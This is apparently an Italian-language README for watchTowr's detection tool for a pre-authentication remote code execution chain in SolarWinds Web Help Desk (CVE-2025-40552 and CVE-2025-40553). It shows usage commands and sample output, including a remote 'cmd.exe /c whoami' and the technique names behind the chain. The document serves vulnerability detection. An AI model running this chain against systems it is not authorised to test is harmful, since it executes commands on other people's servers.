watchtowrlabs/watchtowr-vs-solarwinds-webhelpdesk-cve-2025-40552-cve-2025-40553
Strumento Generatore di Artefatti di Rilevamento per la Catena RCE Pre-Auth di SolarWinds Web Help Desk
Questo Generatore di Artefatti di Rilevamento verifica se un'istanza di SolarWinds Web Help Desk è vulnerabile a CVE-2025-40552 e CVE-2025-40553.
Il Generatore di Artefatti di Rilevamento tenta di eseguire due operazioni:
cmd.exe /c whoami - questo controllo non è accurato al 100%, poiché si basa sui messaggi di errore che possono variare a seconda dell'ambiente.ATTENZIONE - durante il test della RCE, lo script creerà la tabella SWWHDDAG<random_8_characters> nel database postgres.
Dopo il test, puoi verificare se l'output del comando esiste nel database:
> SELECT * FROM public.swwhddagmm2t6t79
"output"
"nt authoritysystem"
Test contro un'istanza vulnerabile:
$ python3 watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py -H https://vulnerable.lab:8443
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py
(*) CVE-2025-40552 + CVE-2025-40553 Pre-Auth RCE Chain in SolarWinds Web Help Desk - Detection Artifact Generator
- Piotr Bazydlo (@chudyPB) of watchTowr
CVEs: CVE-2025-40552 and CVE-2025-40553
[+] Testing CVE-2025-40552 Authentication Bypass
[+] Triggering error and poisoning context cache with LookAndFeelPref
[+] VULNERABLE to CVE-2025-40552 Authentication Bypass
[+] Testing CVE-2025-40553 RCE
[+] This stage will create SWWHDDAGp08zwfs6 DB table if successful
[+] Verifying deserialization and serialization of org.apache.commons.dbcp2.BasicDataSource
[+] PROBABLY VULNERABLE: Connection validated and SQL queries can be executed
[+] Executing "cmd.exe /c whoami" - verify locally if it worked
Test contro un'istanza non vulnerabile:
$ python3 watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py -H https://notvulnerable.lab:8443
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py
(*) CVE-2025-40552 + CVE-2025-40553 Pre-Auth RCE Chain in SolarWinds Web Help Desk - Detection Artifact Generator
- Piotr Bazydlo (@chudyPB) of watchTowr
CVEs: CVE-2025-40552 and CVE-2025-40553
[+] Testing CVE-2025-40552 Authentication Bypass
[+] Triggering error and poisoning context cache with LookAndFeelPref
[-] NOT VULNERABLE to CVE-2025-40552, exiting
< SolarWinds Web Help Desk 2026.1
Riferimenti: https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm
Per le ultime ricerche sulla sicurezza segui il Team dei Labs di watchTowr